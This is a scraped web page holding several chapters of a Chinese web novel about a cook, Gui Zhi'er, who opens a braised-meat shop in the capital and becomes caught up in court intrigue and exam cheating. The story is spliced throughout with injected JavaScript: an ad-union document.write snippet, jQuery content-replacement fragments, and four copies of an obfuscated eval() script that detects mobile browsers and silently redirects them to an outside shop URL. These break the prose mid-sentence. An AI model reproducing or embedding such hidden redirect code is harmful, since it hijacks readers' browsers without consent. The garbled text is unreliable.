柳千金看着她忙碌的背影，幻想出阿娘还在世的样子，眼泪止不住啪嗒啪嗒往下落。 新菜出锅，一切如常。 肉皮经过精心烹制，呈现出焦糖色，表皮微微皱起。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柳千金轻轻咀嚼，细腻的口感和浓郁的滋味一齐在舌尖散开，她猛塞一口米饭，哽咽着说：“这回对了。” 一道家常菜，承载着无尽的相思。 “嘀，系统提示：任务进度98.6%。” 桂枝儿怜爱地叹了口气，感慨万千。逝者已逝，但日子还要继续过下去。 画面回到河口码头的船上。 身形魁梧的船把头，正指挥船夫们搬运贡石。他脚蹬麻鞋，双腿微微分开，稳稳地矗立。 水浪摇摆，他随之调整重心，眼神坚定。 船把头用他那双粗糙有力的大手，指挥现场，保持一切秩序井然。 “帮漕运使大人送贡石，估计又是一桩权衡利弊的交易吧。”桂枝儿站在甲板上，依靠栏杆，闲散地观望着。 天下熙熙，皆为利来。 肯许诺给船把头足够的好处，大概没有做不成的生意。 但这些都与她无关。 走完最后一程，将北境举子们护送到京城，作为监学大人的木犀先生便完成使命。 至于如何在京城重新立起“桂记卤味店”的牌子，桂枝儿心中已有一个绝妙人选。 “女侠不与小谢公子告个别吗？”船把头板着脸凑过来，表情僵硬地问道。 “请叫我木犀先生。”桂枝儿笑眯眯地摆了摆手，“青山不改，绿水长流，有缘自会再见。” 自从上回两人心怀鬼胎地聊天后，船把头时不时就要来探探桂枝儿的口风。 不就是现在的知府大人，曾在楚淮的船上，害死了真正的“刘善渊”刘老爷嘛。 而后他冒名顶替入北境，或许还牵扯到前朝旧事。 值得一遍遍旁敲侧听，以此来揣测她的态度？ 桂枝儿颇为无奈地叹了口气。 “说句大逆不道的话，皇帝轮流做，明年到我家。”她眉眼间满是不羁，“谁能带来太平盛世，谁能让百姓有米下锅，我就拥护谁。” 船把头呆愣原地。 从未听过如此肆意妄为的言论，铁塔般的汉子神情瞬间凝固。他目光中闪过惊愕，宽厚的肩膀似乎也垮了下来。 半晌他才回过神来，嘴里呢喃着什么“嫡系”“正统”。 桂枝儿已经吊儿郎当地走远了。 57. 来打秋风 进京赶考，前半段山道崎岖，后半途水路颠簸。 大船虽则稳当些，但也避免不了随着水浪起伏。 船头时而高扬，时而下坠，让不习惯的学子们头晕目眩，腹中一阵阵翻江倒海。 “哕——”扬安学子李觅直把胃里的酸水都吐了出来。 两岸青山千峰竞秀，他却无心欣赏。 抬眼看去，甲板上身着素色长袍的北境举子们衣袂飘飘，饱读诗书沉淀出的气质愈发明显。 “右揽雀尾，单鞭。” 书生们动作整齐划一，上身向右转，右手划出一道弧线，至右侧方时变勾手。 身姿挺拔，步伐沉稳，透露出淡定从容。 李觅抱着唾壶不撒手，实在难以理解。 他本欲跟春日宴取得头名的王蒲拉近关系，探讨学问，找寻一些应试的捷径。 哪成想，同乘一艘船，旁人吐得昏天黑地，北境的学子们竟然在——打太极拳？ “李学弟，你这就是身体素质太差，先生说了，要……对，要文明精神、野蛮体魄！” 好心的北境学子，以一式弓步推掌收招，擦了擦额头的汗水，前来安抚。 野蛮什么，又不是那山间猿猴。 “呃——呕——”船头一个起伏，李觅忍不住再次吐到了唾壶里，欲哭无泪。 “咱们是文试，又非武试，众位学友不应当抓紧时间温习功课吗？”李觅擦了擦嘴，挣扎着问道。 恰在此时，舱门被推开，桂枝儿踏上甲板。 她依旧男装打扮，步伐轻盈，拿着一把折扇摇晃。未束冠带，几缕凌乱的发丝不羁地垂落额前。 “学了这些年，到最后，赌的就是一个心态。”桂枝儿随口道，“考的都会，蒙的全对。” 身体素质能支撑过历时九天的大考，在精气神上就赢了一半。 这么……随意吗？ 李觅闭了闭眼，这可是三年才有一次的改变命运、光宗耀祖、实现理想抱负的春闱啊！ 桂枝儿似乎看透了他的想法，笑眯眯地摇了摇折扇：“小朋友，得失心不要太重。” 心态越紧张，越难如愿。 说完，桂枝儿不再管李觅能否领悟，只唤王蒲到舱内。 京城近在眼前，她还有些事要交代。 承朔四年春，杭京城的盐价上浮、米价飞涨，为大梁开国以来罕见。 边境沉重的战费负担与上下贪腐，一齐耗空国库。 再经过前年春夏之交横扫江南大地的瘟疫，杭京终于呈现出衰落态势。 原本热闹繁华的城郊口岸一带，由于往来商船减少，店铺也纷纷闲歇。 以往南北百货充盈、游人摩肩擦踵的景象大打折扣。 即使这样，还是让北境的书生们看花了眼。 “李学弟你看，这些客人个个衣饰华丽、出手豪阔，比楚淮有过之而无不及。”有举子惊叹道。 废话，这可是京城。 李觅咽下心中的嘲笑，点头应和。杭京是江南首屈一指的都城，大梁国空前繁荣的象征。 他不想跟没见过世面的土包子计较。 在进京举子们忙着寻找客栈投宿时，桂枝儿已经悄然换装，来到尔雅坊的一座府邸前。 天气回暖，她从空间里挑了一件糖霜鹅黄色的绫锦裙，再披上浅粉褶裥纱的罩裙。 里外两重衣色相互映衬，平添了几分少女的灵动与娇憨。 她抬手，叩响了马府的门环。 “吱呀。”厚重的大门打开，门房将来人上下打量了几眼，问道，“小娘子找谁？” “敢问马碌马大人在家吗？小女是从北境来的。”桂枝儿展眉笑道。 马碌，镇北前任知府，桂记卤味店曾经的常客。 因在党争中站错队，以罪左黜。流放到镇北任职不足一年，捞够了税银，找对了靠山，翻身进京。 升任户部侍郎，正四品。 “大人不在，小娘子请回吧。”门房做出送客姿势。 他见桂枝儿虽身着罗裙，言行举止端庄，但没递过拜帖也没准备上门礼，断然拒绝。 吃了闭门羹，桂枝儿并不意外。 她抬眸，见马家院墙高大，院门内有株杏树斜逸而出，意欲乘人不备翻墙上树。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13861496|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不料，此时门又开了。 门房恭敬行礼道：“小娘子，老爷请您进来说话。” 桂枝儿惊讶地挑了挑眉，但紧随其后。 穿过青石铺就的宽阔甬道，庭院中，假山怪石嶙峋，清泉汩汩流淌。 沿着曲折回廊前行，最终来到一间宽敞的正厅。 “通报说北境有客，叫本官好生疑惑，万万没料到，竟是桂小娘子。” 身着对襟圆领蓝袍的中年男子，抚掌笑道。 他嘴唇较厚，眼圈发黑，袍服前后绣雁，冠顶衔蓝宝石，正是马碌。 “人逢喜事精神爽，大人愈发年轻了。”桂枝儿讨巧地夸赞道。 看来她没猜错，提到北境，马知府，现在也叫马侍郎，多少会有那么一丝心虚。 一方面是他在征收租调税时做过假，另一方面恐怕是继任者“刘善渊”的身份有问题。 “哈哈哈哈哈，许久没尝到小娘子做的卤味了，我是口腹之欲难餍啊。” 马侍郎虽有些诧异，她是怎么找上门来的，但热情不减。 “所以小女才斗胆来叨扰大人。”桂枝儿顺着他的话茬，暗暗下套。 京城之大，久居不易。 尤其桂枝儿想做生意，但好地段的商铺早已被垄断，背后撑腰敛财的，不是皇亲国戚就是达官显贵。 户部侍郎马碌，便是在她京城重新立起“桂记卤味店”牌子，所需的绝妙人选。 “还望大人能从中周旋，在长兴坊给小女谋一个小门头，租金的银两，保准儿按市价照付。” 桂枝儿狮子大开口，要就要杭京最繁华的街区铺子。 “哈？”马侍郎眼角微微抽动，似是惊叹于她的无知无畏。 “并非本官不念旧情。”马侍郎皱起眉头，做出无奈与纠结的模样，“实在是我也说不上话啊。” 他一挥袖袍，叹了口气。 “京城这地界，砸一块砖下来，能砸到一片四品大员。” 你这从北境跑来的“穷亲戚”，上我府上打秋风，嘴一张一合就想白嫖一个门铺？ 做梦！ 马侍郎心中冷笑。 58. 蛇鼠两端 桂枝儿不急不躁，只略带惋惜地叹了口气。 “既如此，就不必麻烦了。”她作势要走，“临行前，刘知府嘱咐我，也可去找宗人府或是大理寺的大人们商议。” 此言一出，如平地起惊雷。 马侍郎瞬间一激灵，想拦住人又找不到合适的借口，不声不响就这么看着，又怕桂枝儿真走了。 他像是后背上有一窝蚂蚁在爬，乱糟糟心痒痒，却又抓不到，急得眼珠子直转。 “哎呀，原来小娘子是奉了刘知府的命呀，他在北境可好？”他试探道。 桂枝儿神秘地笑而不语。 好似在说，若非你户部恰巧掌管着土地、赋税，你这区区四品官，我是瞧不上眼的。 “来人，上壶好茶。”马侍郎诚心留客，把仆从支了出去。 他砸吧了一下厚嘴唇，尚且想摆摆架子，等待桂枝儿沉不住气主动透露底细。 桂枝儿慢悠悠地尝了口茶几上的点心，不经意间提到：“听说镇北大捷的喜报已经传开了，还得多谢大人曾支援银两……” “咳咳咳。”马侍郎被吓得茶水呛到嗓子，用一连串咳嗽声打断了桂枝儿未说完的话。 这下他总算明白，来者不善。 用被收缴的部分贪腐银两，来修缮城防、打造兵器，这事儿本应该烂在新旧两位知府的肚子里。 现如今明晃晃摊在桌面上谈，与威胁无异。 马侍郎为官多载，也不是泥人捏的，被一个小女子轮番恐吓，多少有些脾气。 他压着火，索性把话说透了：“本官就问一句，你的主子，是否有那个在手？” 他黑眼圈浓重，右手虚握拳，虎口朝上，向茶几上按去。 似乎是一个盖章的动作。 “哪个？”桂枝儿挑眉，不承认也不否认。 马侍郎以为她懂装不懂，更加恼火，左右四顾确认并无外人，这才凑近压低了声音，咬牙切齿道：“天子印！” 玺印之重，国之大宝。 其一为和氏璧镌刻的传国玉玺，其文曰“受命于天，既寿永昌”，得之便象征天命所归。 其二则为天子印！ 印者，信也。此印与玉玺一同盖在皇帝诏敕上，政令所出，天下臣民莫敢不从。 桂枝儿屏住呼吸，表面从容镇定地点点头，不露丝毫慌乱。 “系统，系统。”她在脑海中急切呼唤，“把我进世界前买的资料调出来。” 心底已掀起惊涛骇浪。 本意是拉大旗扯虎皮，没想到，玩大了。 原以为这“刘知府”，顶多就是个被狗皇帝斩杀的忠臣后代，前朝遗孤…… 马侍郎长舒一口气，搓了搓手，一语道破：“樾王果真还活着。” 樾王，梁樾。 系统档案徐徐展开。 天宥十五年，太子梁樾南巡，遇琉球海贼。太子身先士卒、奋勇御敌，然敌众我寡，终壮烈身亡。帝大悲，三日后驾崩。又三日，新帝登基。 桂枝儿没想到，自己只匆匆扫过一眼的背景资料，背后还有隐情。 怪不得，那位假的“刘知府”能轻易调动人力物力。 怪不得，他理政济民游刃有余。 太子死讯天下皆知，谁也料不到，他竟换个身份躲在北境那等穷乡僻壤。 “所以传闻是真的。”马侍郎窥得惊天隐秘，冷汗涔涔，须臾便湿透衣衫，“只有天子印才能调动暗卫，打开秘库。” 他面色潮红，心跳如鼓擂。 “卑职愿肝脑涂地，以报太子殿下大恩！” 他紧张至极，身子微微颤抖，呼吸急促紊乱，透着一股难以抑制的兴奋和期待。 识时务者为俊杰。 马侍郎明白，如今的大梁官场，讲究点、线、面结合。他点对点贿赂自己的后台，时刻站在一条路线上，才能混到现下四品官的位置。 “还望小娘子，为我引见宗人府、大理寺的大人们。”他既惧且喜，乌青一片的下眼睑也泛起了光。 从打通路线到连接关系网，从龙之功指日可待。 桂枝儿哪有这样的人脉，不过是顺口胡诌罢了。 她惊叹于马侍郎见风使舵的本领，抿了口茶压压惊，在心中措辞要怎样糊弄一番。 “并非不可，只要小店能如期开张。” 她这副扬起下巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946913|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，眼角眉梢神色清冷的模样，透着一抹似有若无的傲气。 似笑非笑，神韵之间，竟把马侍郎完全哄骗了过去。 “小娘子且放心，我这就安排！” 在马碌心里，“桂记卤味店”已经相当于以太子殿下为首的前朝余党，在杭京的据点了。 这样一位蛇鼠两端的官员，利欲熏心，也投机取巧。 天宥十三年，马碌曾以送节礼为名，进过京城。 以他的官职，莫说是圣上，就连太子府的门环，他都摸不到。 但偏巧，在节庆宴席上，宫廷大太监奉命前来宣读圣旨。 “奉天承运，皇帝诏曰。” 那太监面白无须，双眸狭长，姿态不全似阉人，反而自有一番气度。 马碌在众人谈话中得知，来的是司礼监秉笔太监富安公公，皇帝陛下面前的红人。 承朔三年冬，先皇早已逝去。 可当年那位富安公公竟褪下宫服，冒着北境的风雪，走到他面前。 “老奴是刘善渊刘大人的管家。”富安公公笑着对他说。 马侍郎中断回忆，客气地送走桂枝儿。在他的积极运作下，不出十日，便有结果。 长兴坊街巷纵横，屋宇错落。 在满街林立的店铺中，一个简洁的旗幡迎风招展——桂记卤味店。 小店左侧挨着绫罗绸缎的布庄，右手边是酒香扑鼻的酒坊。白墙黑瓦，门前紫藤缠绕，瀑布般的花朵紫中带粉，颇显江南小日子的悠闲感。 今日是个好天气，春风带着恰到好处的柔和拂过。 牙侩早与桂枝儿约好，会领几位聪明肯干的小学徒上门，让她挑选一番。 若有合心意的，即刻签订契约。 桂枝儿身着淡雅罗裙，静坐在庭院的雕花石凳上。 她眼眸明亮清澈，手中捏起一粒瓜子，“咔嚓”声清脆悦耳，瓜子仁酥脆焦香。 能租下好地段的铺子，一靠马侍郎灵活周旋，二靠小将军赠予的汇通钱庄户头。 “也不知小将军收到我信没有。”桂枝儿眉眼含笑。 从木犀先生变回小娘子，她要会一会京城的酒楼。 59. 签订契约 “桂小娘子在家吗？”牙侩如约而至。 他先是打量了一番店内环境，再如老母鸡驱赶幼崽般，将他身后谋职的小伙计都推到身前。 其中既有豆蔻少女，也有束发少男。 他们多为京郊附近的农家子，神情质朴，身上套着的粗布衣衫也洗得发白，打满了补丁。 桂枝儿出价高，牙侩便精挑细选了不少资质聪慧的孩子。 “坐。”桂枝儿随意地给牙侩抓了把瓜子，“大家不用紧张，我只做三个小测试。” 一闻，不同香料的气味不同，桂枝儿先简单教导一番，再将香料混合放进香袋，让小学徒们嗅闻回答。 “像是姜味儿？俺也说不准，有点刺挠鼻子。”应答者脸颊通红，眼神躲闪。 “辣辣的那个，还呛，俺忘了小娘子刚才教的时候叫啥名儿了。”一位扎着马尾辫的女孩儿落落大方。 大多数孩子只胡乱编了个答案对付，或是低头闷不吭声，散发着内敛羞涩的气息。 若是让他们去捡柴火、挑水，体力活儿立刻就能上手，但学习香料，着实有点为难。 “花椒和胡椒混合，佐以少量桂皮、丁香。”一个声音清朗的少年吸引了桂枝儿的注意。 他脸上和手上都有跌打伤，似豆芽菜般身量瘦小，只一双大眼睛忽闪，颇有灵气。 “答对了。”桂枝儿鼓励地笑笑，抛出下一道难题。 二尝，盐水咸淡有别，桂枝儿精准控制盐含量，让小学徒们品尝分辨。 “这个更咸吧？”有孩子食指弯曲，带着一丝小心翼翼和三分不确定，向杯子靠近。 盛水的瓷杯上还刻着花纹，他们生怕打破了要赔钱。 桂枝儿不置可否。 三摸，蒙上眼睛触摸不同状态的食材，有新鲜的肉类也有枯萎的蔬菜，考验触觉感知能力。 几番筛选下来，结果很明晰。 那位扎着马尾辫的女孩儿，感官尚算灵敏，难得的是手脚麻利，自信不怯场。 而那个大眼睛的豆芽菜男孩儿，更是令桂枝儿意外。 “好孩子，你可学过厨艺？”桂枝儿撤下他脸上蒙眼睛的黑布，探究着问道。 “以前是当学徒的，这不是大师傅去世了，孩子才另谋出路。”牙侩身体微微前倾，热切地抢着回答。 紧接着是一段话语密集的举荐，似乎生怕少年说出什么不该说的话。 桂枝儿不理睬，只低头与少年对视。 男孩静静地站在那里，他脸庞稍显稚嫩，青一块紫一块的跌打伤便格外触目惊心。 手指关节处红肿不堪，擦伤痕迹纵横交错。 对上桂枝儿的眼神，他倔强地说道：“之前在翠园楼，和大师傅学过厨艺。” 听到“翠园楼”三个字，桂枝儿不由愣住。 她记得，自己曾问过冒充知府大人的樾王：“您从京城来，可知江南最好的酒楼是哪家？” “当数翠园楼。”隔着一层内窗，对方声音轻柔。 然而牙侩双眉倒竖，眼睛瞪得滚圆，狠狠地制止了男孩儿继续说话。 这位小娘子出手阔绰，若能签订契约，就算告吹也可赚一笔违约的银两。 哪有上赶着自爆短处的。 京城本地人，现在但凡做酒楼客栈行当的，谁不知翠园楼下了死命令，肯接收这小学徒就等于上门踢馆。 也就指望能忽悠忽悠外来的乡巴佬。 男孩儿低头凝视自己的脚尖，正值长身体的时候，鞋面被磨得破损，露出脚趾头。 只好用粗糙的针线胡乱缝补，针脚歪歪扭扭。 找不到主家，今天又得饿肚子了。 “有经验，是个好苗子嘛。”桂枝儿的声音在耳畔悠悠响起。 温柔夸赞恰似春日里的一缕微风，蕴含着无尽爱意与关怀，让男孩儿倏然抬起了头。 他瞪大了眼，愣愣地听着桂枝儿说道：“只要没有作奸犯科等毛病，我都不介意。” “没有没有，孩子老实得很。”牙侩见峰回路转，赶忙解释。 原来，杭京第一酒楼——翠园楼的大师傅数月前患急病去世。 传闻大师傅殁之前，未交代秘方下落，酒楼内风云变幻，拉帮结派的，大打出手的，排除异己的…… 有人的地方就有江湖。 豆芽菜般的少年虽初涉厨艺，但颇得大师傅欣赏，平时没少给他开小灶。 人走茶凉，大厨们忌惮他的天赋，便找借口寻了错处，直接打发他走了。 这才轮到桂枝儿捡漏。 “那便签两个人。”桂枝儿点了点头，一位毫无疑问是这少年，另一位则是女孩儿。 “俺？”扎着马尾辫的女孩儿疑惑，但她很快反应过来，笑开了花，“多谢小娘子。” 朴实的脸庞若红苹果，声音也脆生生的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977510|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞅着就喜庆。 按上手印，契约已定，小店学徒包吃包住，每个月还有两贯铜钱，算是顶好的待遇了。 人手齐全，桂记卤味店预备试营业。 主打的是卤味加果茶，卤鸡爪皮软筋韧，卤鸭脖肉质紧实，卤豆干汁水醇厚…… 果茶更是精选当季新鲜水果，搭配上芬芳茶底，一杯杯色彩斑斓。 翌日，天空湛蓝，飘着如丝如缕的白云，春季阳光并不炽热，而是暖洋洋地洒下。 白墙黑瓦的小院被蒙上一层薄薄的金纱，紫藤花流光溢彩。 “小丫头跟我调一下卤料，小孩儿去西市挑几斤梅子。”桂枝儿布置任务。 有一个经过基础培训的娴熟学徒，备菜要方便得多。 “好的，小娘子。”豆芽菜般的少年十分珍惜这来之不易的短工机会，积极踊跃。 他拿上铜钱，干脆利落地向门外跑去。 青梅要选那果实饱满、表皮光滑的，若仅五、六分熟，口感苦涩则适合腌制，若已有八、九分熟，表皮带黄，果香将更加明显。 他正琢磨着，要如何向桂枝儿请教做梅子茶的技巧。 拐过巷口，就听见角落隐蔽处突然传来一阵阵呻吟声。 “哎呦住手，住手，疼死我了！” “尔等大胆！吾父乃大理寺正，再不悔改，定叫你们吃不了兜着走！” 猝不及防间，豆芽菜少年撞见了围殴现场。 那是一群头戴方巾的束发书生，却无半点斯文模样。光天化日下，竟然用麻袋套住受害者，扬起的拳头带着风声，“砰砰”作响。 被打的人在麻袋中痛苦地扭动着，却被按得死死的，无法摆脱如影随形的攻击。 听到“大理寺正”的官职，雨点般的拳头停顿。 几位书生抬头，统一看向一人。若是桂枝儿在，定能认出来，那人正是扬安学子李觅。 他摇头摆手，冲众人摆了个口型。 “没事儿，小官。” 顿时，又是几拳如狂风暴雨般袭来，毫不留情。 豆芽菜少年吓得心跳加速，隐约感觉到自己脸上和手腕红肿处又开始疼了，拔腿就跑。 不料盯梢的李觅眼睛很尖，一下子就看到了他的背影。 “那小屁孩儿，给我站住！”怕出声被人认出来，他只得捏着鼻子喊道。 声调尖细如鸟鸣，透着一股子滑稽。 60. 阴差阳错 撞破了别人的隐秘事，豆芽菜少年心中既惊且惧。 他跑起来磕磕绊绊，没逃多远，就被身高腿长的青年书生们一把揪住后领，提溜了起来。 “混蛋小孩儿，往哪跑？”书生们平日里温文尔雅，此刻却故意装凶吓唬人。 “我、我没看见，什么都没。”豆芽菜少年涨红了脸，嘴唇微微颤抖，努力地想撇清关系，可越着急，就越结结巴巴。 在翠园楼最后的日子，没了大师傅的关照，受欺负挨打是家常便饭。 他心中有着本能的恐惧。 “怎么处理？”书生们感到有些棘手，再次把目光移向李觅。 李觅挠了挠脑袋，不知所措。 今天这出乱子，缘起也很简单。 镇北大捷的喜报在京城传开，一帮京官家的纨绔子弟，在文社上口无遮拦，嘲讽起北境的边疆战士。 “我们家几代书香门第，唯有熟读诗书才是正途，武将只会逞匹夫之勇。” “就是就是，那帮好战、粗鲁的家伙，打打杀杀让多少百姓流离失所。” 其实纨绔子弟们对边境毫不关心，也不在乎输赢。就算被游牧劫匪攻城略地又如何？ 反正影响不到他们赌斗鸡、斗蟋蟀、斗鹌鹑。 毕竟，北境到杭京足有两千公里呢！ 亦或是三千，他们也不知道，只知春闱前要争取扬名，才被爹娘强迫着参加无聊的文社集会。 不参加又如何，反正关系已打通，“替死鬼”已寻好，他们保准能中进士或赐同进士出身的。 纨绔子弟们心有不忿，这才张口胡来怼天怼地。 按道理，无论他们怎么说，总有人愿意捧着权贵之后，不让他们的话掉地上。 结果，偏有一个泼辣圆润的女书生不识抬举，张口痛骂道：“没有边疆战士保家卫国，你还能坐在这里吃香喝辣？” “你是什么东西，胆敢驳斥本公子？”纨绔子弟勃然大怒。 转头一看，竟是个北境来的女书生，还颇有几分姿色，当即就色眯眯地凑过去，好一番言语调戏。 直把女书生气到掉眼泪，跺着脚跑了。 “无耻败类！难道就没人能管吗？”听闻女书生的哭诉后，北境学子同仇敌忾。 “嚯，谁敢管这群公子哥，谁又管得了？”扬安学子李觅看得很清楚。 文人习惯以笔为刃，但今日写文章讥讽，明日就会被构陷入狱。 这便是京城，官官相护，摆不完的阔气弄不完的权。 “你们天天练什么太极拳，要不就当场把人揍一顿呗。”李觅笑嘻嘻地说着风凉话。 他原本只想让这群乡下来的土包子，认识到权势的残酷。 不料，北境学子惊呼：“对啊！” 先生曾说过，有道理就讲道理，讲不通时便用武力。 这下轮到李觅傻眼了。 他被半拖半拽着上了贼船，跟武德充沛的镇北举子们一起，套麻袋把人打得哭爹喊娘。 没有目击证人也就罢了，偏偏，豆芽菜少年贸然闯进了现场。 “小兔崽子，我警告你，别想着报官。”李觅虚张声势，恶狠狠地吐了口唾沫，“滚吧！” 学子们左看看，右看看，也只得松开了手。 惊魂未定的豆芽菜少年一溜烟儿跑了，先按吩咐去西市买梅子，再狂奔回店里，希望主家能给拿个主意。 白墙黑瓦映照着湛蓝苍穹与如絮白云，美不可言，小店的旗幡迎风飘动。 “桂记卤味店？”北境学子一字一顿地念了出来，大为困惑，“这不是我们中心府城的店吗？” 他们假装放过豆芽菜少年，实则暗中跟踪，生怕他坏事。 没成想，一路到了长兴坊。 “这熟悉的香料味，该不会是桂小娘子进京了吧？”有学子左顾右盼，想找寻熟悉的身影。 远在千里之外看到亲切的故乡情景，不免泪眼汪汪。 “进去看看就知晓了。”凌河县的举子虽不慎了解，但一路上也听木犀先生提及过。 先生说，他的厨艺师承北境桂小娘子。 先生还说，师傅云游四方，将来要去杭京开店。 推门进入店铺，“免赀试尝”四个大字便吸引了众人视线。精巧的瓷盘中，是刚出锅的卤鸡爪。 深褐色的表皮泛着油光，鸡爪形状弯曲有致，看起来软糯鲜香。 凑近细闻，醇厚的八角味、馥郁的桂皮味交错，勾起心底食欲。 “让我尝尝。”李觅垂涎三尺，拿起一只卤鸡爪。 肉虽不多，但皮的软糯、筋的韧性以及骨头的香味恰到好处，触感柔软富有弹性。 轻轻咬下，饱满的卤汁味道也随之在口中弥漫。 一位妙龄女子掀开帘子走出来。 “桂小娘子，您什么时候来京城了？”书生们惊喜地喊道。 淡雅清新的女子裙袂摇曳，上面绣着含苞待放的花骨朵，秀发盘绕出精巧的发髻，正是桂枝儿。 “好久不见。”她灵动俏皮地笑了。 虽然几日前他们还在同一艘船上，但谁能想到不修边幅、放荡不羁的木犀先生就是眼前蕙质兰心的女子呢。 眼见凶手追过来，豆芽菜般的小学徒躲在她身后瑟瑟发抖。 既是家乡熟人，众学子也不隐瞒，如实告知纷争缘由。 “你们呀！”桂枝儿双眸犹如弯弯的月牙，眼中闪烁着明亮光芒，“孺子可教也。” 她端出最新研制的果茶，鲜嫩的桃子果粒与茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996884|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香混合，口感丰富。 书生们凑了些碎银，进店兴高采烈地吃喝起来。 当王蒲听到信儿后，焦急地拄着竹杖来到店里，就看到这一幅其乐融融的模样。 临别前在船上，桂枝儿曾唤王蒲到舱内，交代了自己的真实身份，并嘱咐若有急事可以找她。 “先……小娘子好。”王蒲尴尬得满脸通红。 书生们则低头如小鸡啄米般炫饭，并不敢直视王蒲。套麻袋揍人这般出格的举动，当然要瞒着学长。 “一起来尝尝吧，梅子绿茶也做好了。”桂枝儿笑盈盈地招手。 王蒲生怕先生不满他们用蛮力闹事。 说来也怪，桂枝儿非但没有一点责怪、不愉，反而很高兴他们那种天不怕地不怕的热血劲儿。 有人欢喜有人忧。 受害者及其家属，也紧赶慢赶聚在一处。 杭京的大小官员万万想象不到，子孙挨打只是源于小孩子们的些许口角。 “这是政治阴谋，一定是！”大理寺正如临大敌。 “或是蓄意报复。”须眉皓白的矮胖老头儿眉头紧锁，“若背后无人撑腰，谁敢当街殴打我的乖孙。” 几位疼子心切的长辈，都有一个共同点，那便是——越纵容后代越不成器。 纨绔子弟们自幼养尊处优，经史子集等经典著作，在他们眼中枯燥乏味，如同嚼蜡一般。 他们宁可斗鸡走狗，也不愿多翻书本。 不读书，怎么科考，怎么当官？ 长辈们急得心焦不已。 万幸，处在权势关系网中的人消息灵通，只要肯花足够的银两，总能找到妙招。 “老朽便直说了，在座诸位，恐怕都在爵爷那里为子孙谋了个考场席位。”须眉皓白的矮胖老头沉吟道。 爵爷手眼通天，能寻到别的考生当“替死鬼”。 通过科考舞弊谋得进士名额。 “咳咳。”大理寺正虽不愿承认，但也没反驳。 自家孩子什么德行他心里清楚，若是堂堂正正去考，连府试这关都过不了。 总不能学那些土财主去捐官买官，惹人嘲笑吧？ 在县试、府试上做点小动作并不难。 先把子孙送回祖籍地，通过夹带、替考等多种方式，再对主考官多加打点，便能稳妥中榜。 可春闱，不是一般人能操纵的。 “爵爷该不会收了银两不办事？” 有人担忧孩子被暴揍一顿，身体受伤参与不了科考，花出去的银子便打了水漂。 “不至于，恐怕是哪里有疏忽，走漏了风声。”大理寺正更担心有别人想抢名额。 阴差阳错下，一场小闹剧，如同石头子儿被投入湖泊，逐渐泛起阵阵涟漪。 61. 名声大噪 春雨是江南的常客，那雨丝似针尖、如牛毛，细密密地落在青石板路上，落在小店的白墙黑瓦上。 “桂记卤味？”几位躲雨的书生抱紧了怀中新淘来的书籍，疑惑道，“这不是北境仁兄们写诗赞过的店吗！” 如今要问什么人传播消息最快，那必然是举子们。 离春闱还有几天，掰着手指头就能算出来。杭京城内的大小旅社、同乡会馆，甚至连寺庙道观都挤满了书生。 他们研究会试押题时，可能还藏着掖着，但在分享衣食住行方面，不遗余力。 北境学子们在桂记卤味饱餐后，逢人便夸。 “卤鸡架吃过吗，算是我们当地特色。”书生竖起大拇指，“添上酱油和冰糖，肉不多，但特有嚼劲。” 鸡的脊椎骨、胸骨，是在物资匮乏的北境，相对低廉容易获取的肉类了。 “嘁，乡下人。”来自富庶地的举子们对此不屑一顾。 没吃过金齑玉脍、龙肝参翅，竟然对廉价的鸡架子情有独钟，他们断然是看不起的。 但并非所有读书人都出自钟鸣鼎食之家。 “正好肚子有些饿了，咱进去看看吧。”几位躲雨的书生举步走进了店内。 映入眼帘的木质桌椅，被擦拭得明亮洁净。每张松木桌中央的瓷瓶中，插着几支桃杏梨花。 应季鲜花色彩缤纷，为小店增添几分雅致。 沿墙壁摆放一排货架，束颈深腹的玻璃碗，饰以圆形磨花。其玻璃薄且透明，放在古玩店可能要卖几两白银。 